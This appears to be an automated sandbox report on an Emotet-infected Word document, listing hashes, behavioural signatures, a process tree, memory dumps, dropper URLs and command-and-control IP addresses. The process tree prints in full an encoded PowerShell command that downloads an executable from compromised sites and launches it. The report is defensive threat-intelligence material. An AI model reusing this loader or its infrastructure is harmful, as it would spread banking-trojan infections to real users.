Overview

overview

10

Static

static

8

VR2323735115XA.doc

windows7_x64

10

VR2323735115XA.doc

windows10_x64

1

Analysis

  • max time kernel
    62s
  • max time network
    114s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    30/07/2020, 10:31

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General

  • Target
    VR2323735115XA.doc
  • Size 172KB
  • Sample200730-slkrmsm7ja
  • SHA256 e8f499a49f0182ca1b86f7b7795f561d6739caf6baf7f884357657be05fc68bb
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://urbaneden.net/awstats/gjec_g3g_jjblgv8wkh/
  • exe.dropper

    http://starrpromotions.co.uk/files/0swfh_d7_3wqdwymn00/
  • exe.dropper

    http://torqueandtalk.com/wp-content/d4wa_m9_8u5yii2j/
  • exe.dropper

    http://finestones.dk/blogs/mxa61_d_ys8fqozh/
  • exe.dropper

    http://luckybit.jp/o/e_hzu0_hlyygcbr9u/

Extracted

Family

  • emotet

C2

  • 47.146.117.214:80

  • 62.108.54.22:8080

  • 212.51.142.238:8080

  • 190.160.53.126:80

  • 87.106.136.232:8080

  • 74.208.45.104:8080

  • 121.124.124.40:7080

  • 124.45.106.173:443

  • 76.27.179.47:80

  • 210.165.156.91:80

  • 61.19.246.238:443

  • 81.2.235.111:8080

  • 169.239.182.217:8080

  • 181.230.116.163:80

  • 139.130.242.43:80

  • 46.105.131.87:80

  • 139.59.60.244:8080

  • 222.214.218.37:4143

  • 41.60.200.34:80

  • 200.55.243.138:8080

rsa_pubkey.plain

Signatures

  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Office loads VBA resources, possible macro or embedded object present
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Blacklisted process makes network request 5 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\VR2323735115XA.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:1088
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABLAEkAQQBDAEwAawBnAHQAPQAnAEcARABOAEsAWABlAHAAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAFUAUgBgAEkAVABgAHkAUABSAG8AVABvAGMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAVQBNAFIARgBEAHMAaQB1ACAAPQAgACcAMwA3ADYAJwA7ACQAVABIAFcARQBVAHEAZQBzAD0AJwBWAE8ATABWAFEAbQBuAGgAJwA7ACQATABOAFUASwBPAHkAeABvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABVAE0AUgBGAEQAcwBpAHUAKwAnAC4AZQB4AGUAJwA7ACQASQBDAEoARABVAHYAcQBrAD0AJwBKAE8ATgBQAEIAaQBhAGEAJwA7ACQASABZAFQAVgBVAG0AbgB4AD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAEUAVAAuAHcAZQBCAEMAbABpAGUAbgB0ADsAJABFAFYAVQBDAEoAZAB5AGUAPQAnAGgAdAB0AHAAcwA6AC8ALwB1AHIAYgBhAG4AZQBkAGUAbgAuAG4AZQB0AC8AYQB3AHMAdABhAHQAcwAvAGcAagBlAGMAXwBnADMAZwBfAGoAagBiAGwAZwB2ADgAdwBrAGgALwAqAGgAdAB0AHAAOgAvAC8AcwB0AGEAcgByAHAAcgBvAG0AbwB0AGkAbwBuAHMALgBjAG8ALgB1AGsALwBmAGkAbABlAHMALwAwAHMAdwBmAGgAXwBkADcAXwAzAHcAcQBkAHcAeQBtAG4AMAAwAC8AKgBoAHQAdABwADoALwAvAHQAbwByAHEAdQBlAGEAbgBkAHQAYQBsAGsALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBkADQAdwBhAF8AbQA5AF8AOAB1ADUAeQBpAGkAMgBqAC8AKgBoAHQAdABwADoALwAvAGYAaQBuAGUAcwB0AG8AbgBlAHMALgBkAGsALwBiAGwAbwBnAHMALwBtAHgAYQA2ADEAXwBkAF8AeQBzADgAZgBxAG8AegBoAC8AKgBoAHQAdABwADoALwAvAGwAdQBjAGsAeQBiAGkAdAAuAGoAcAAvAG8ALwBlAF8AaAB6AHUAMABfAGgAbAB5AHkAZwBjAGIAcgA5AHUALwAnAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE8ARQBGAE0ARwBzAHkAeQA9ACcAVQBIAFcAWQBLAHcAdAB0ACcAOwBmAG8AcgBlAGEAYwBoACgAJABBAFMARQBEAEwAagB5AHEAIABpAG4AIAAkAEUAVgBVAEMASgBkAHkAZQApAHsAdAByAHkAewAkAEgAWQBUAFYAVQBtAG4AeAAuACIAZABPAFcATgBMAE8AYABBAGQAZgBgAGkATABlACIAKAAkAEEAUwBFAEQATABqAHkAcQAsACAAJABMAE4AVQBLAE8AeQB4AG8AKQA7ACQAWABRAE0AQQBOAGsAcQB1AD0AJwBVAEYATQBEAFUAcQB3AHkAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABMAE4AVQBLAE8AeQB4AG8AKQAuACIAbABFAGAATgBHAFQASAAiACAALQBnAGUAIAAyADIAMwAxADQAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAEUAQQB0AEUAIgAoACQATABOAFUASwBPAHkAeABvACkAOwAkAFcAVgBSAEYAVwBoAHcAYwA9ACcATABFAFEAVwBJAGIAYwBrACcAOwBiAHIAZQBhAGsAOwAkAE4AUgBWAFcATQBwAGQAcwA9ACcAUgBOAEcAQgBMAHQAYgB4ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcATABQAFQAUgBoAG0AaQA9ACcARQBKAEUAQwBTAGYAcwBrACcA
    1⤵
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    PID:1028
  • C:\Users\Admin\376.exe
    C:\Users\Admin\376.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1836
    • C:\Windows\SysWOW64\mimofcodec\dplaysvr.exe
      "C:\Windows\SysWOW64\mimofcodec\dplaysvr.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:1736

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1088-7-0x0000000006F20000-0x0000000007120000-memory.dmp
        Download

        memory/1088-5-0x0000000002550000-0x0000000002554000-memory.dmp
        Download

        memory/1088-6-0x00000000025D0000-0x00000000025D4000-memory.dmp
        Download

        memory/1088-0-0x0000000006E20000-0x0000000006F20000-memory.dmp
        Download

        memory/1088-8-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/1088-4-0x0000000006F20000-0x0000000007120000-memory.dmp
        Download

        memory/1088-3-0x0000000006F20000-0x0000000007120000-memory.dmp
        Download

        memory/1088-2-0x0000000008AC0000-0x0000000008AC4000-memory.dmp
        Download

        memory/1736-14-0x0000000000290000-0x000000000029C000-memory.dmp
        Download

        memory/1836-10-0x0000000000390000-0x000000000039C000-memory.dmp
        Download